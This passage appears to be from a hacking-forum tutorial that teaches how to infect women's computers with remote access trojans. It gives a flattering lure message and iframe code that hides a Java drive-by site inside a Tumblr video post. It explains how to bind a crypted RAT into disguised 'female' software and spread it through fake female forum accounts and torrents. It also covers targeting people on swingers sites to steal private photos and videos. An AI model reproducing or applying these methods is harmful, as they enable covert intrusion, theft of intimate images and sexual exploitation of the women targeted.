**Ask her a question like the one I provided for you above.**

***Hey beautiful pretty girl! (: I have uploaded the video of my lost (:c) bet (on Tumblr) and I have to show it to at least 200 girls - - ' Perhaps you can take a look at it, it's fun, tho D: (Insert your JDB site or Tumblr URL) Thank you so much <3***

**Many females will fall for it because they love to be complimented especially by strangers.**

## Second Method

We will be using tumblr for this, Now you probably think, Tumblr, WHAT? You've heard right. You can insert your JDB into a Tumblr page. They won't think it's a suspicious link because it's Tumblr. I'll explain you how to do it.

First create an account on Tumblr and use a domain like "ilovemysixpack.tumblr.com".

Create a new video post and paste following code into "Embed code or video URL".

```
<div style="position:absolute; left:77; top:77; width:377; height:377; clip:rect(0,381,381,0); background:#FFF;">  
<iframe src="http://www.google.com/" width="377" height="377" marginwidth="0" marginheight="0"  
frameborder="no" scrolling="yes" style="border-width:2px; border-color:#333; background:#FFF; border-  
style:solid;">  
</iframe>  
</div>
```

Replace <http://www.google.com/> with your JDB link!

Open code.txt to copy the code. The txt file is in the folder I provided you with.

Press publish and you are done.

When the potential bot clicks on the video it basically opens your JDB site with the Java applet.

## Method 3

- 1) You need to have a RAT, just choose one of your choice or the one in which you have command

**2) You need to have FUD cryptor and FUD Binder. I am using ownz cryptor and its awesome. To get the owns cryptor click here**

**3) Now the main step. Download a girls software from Google**

**for ex:**

**Free Female periods software**

**or**

**free female personal diary software**

**or**

**Detailed ebook on pregnancy**

**or**

**Free recipe guide**

**or**

**Home management software**

**4) Now its time to use the binder, bind your server with these programs and don't forget to clone the file assembly settings.**

**5) Put your binded server in a .rar file, you need to have winrar for this (everyone does have)**

**6) Upload your .rar file which has your binded server to free hosting, I personally use [www.multiupload.com](http://www.multiupload.com), it uploads to many sites**

**7) Now the actual task, you need to create account on few forums where girls are active too, some of them are:**

<http://www.girlsonlyforum.com>

<http://www.women-health.com>

<http://www.femalenetwork.com>

<http://www.dirtytalkforum.com>

<http://www.girlsforum.com>

<http://www.desionline.com>

<http://www.coolyarforum.com>

<http://www.theattractionforums.com>

<http://www.sexforum.com>

**Make a fake account with the name of a Girl and post a mature picture so that it look real.**

**I personally used <http://www.femalenetwork.com>.**

**8) After you have created a account on any forum, don't just start your thread with infected attachment. Make few post, introduce yourself in the forum, have a chat with members.**

**9) Once you are known, its time for you to make a thread. Keep in mind the file you downloaded and binded the server with. Make a thread giving the detail about the software, the details can be found from the place where you downloaded the software**

**(you don't need to be a girl to know all about them Hehe)**

**10) You can also spread the same file on the torrent sites, you can find so many tutorials here for torrent spreading.**

**11) Kaboom.. you will definitely get many female victims in few hours.**

### Method 4

**Swingers websites are full of young girls looking for a good time. Their PC's are full of Pics and Vids and their 18+.**

**Swingers tend to have a quick chat with each other. Swap a few Pic's and/or Vid's and exchange contact details. (E-mails or IM)**

#### How will we do this you ask?

**Google Swingers and find yourself a nice website.**

**Register and Join with your Dodgy E-mail and VPN.**

**Create a Profile. (Either Single Female or Couple. Single Men are a Dime a Dozen)**

**Check out the Gallery and send a Friend Request to your Preferred Victims.**

**Use the Chat Room Feature.**

**Send your Server however you like.**

**Things to help you out:**

**E-Mail Address should obviously be dodgy but needs to work so you can Authenticate the Account.**

**MSN, Yahoo, Skype should also be dodgy. Swingers use these to communicate offsite.**

**If your having trouble sending a link through Yahoo Chat change the http in the link to https. Last time I used Yahoo it thought that it was a secure link and let it through without scrambling it.**

**Take your time. The more you rush someone to accept your Server the less chance you have.**

**Please be aware of the TimeZone. Depending upon the TimeZone of the Victims they may run your Server at work.**

**If your Targeting a Nationality, Sex, Occupation or Whatever then post on the main wall "Are there any XX online?" and they will soon respond.**

**I normally tell people I'm at work that way should I choose to end the chat I just say "The boss is here I have to go" This way there is no suspicion when I'm done with them.**

**For JDB's. If you want a few quick installs type something like "First one to whisper(PM) to me gets a free show" in the main chat window and you will have many people hit you up. C&P a message in notepad and send them the link to your JDB.**
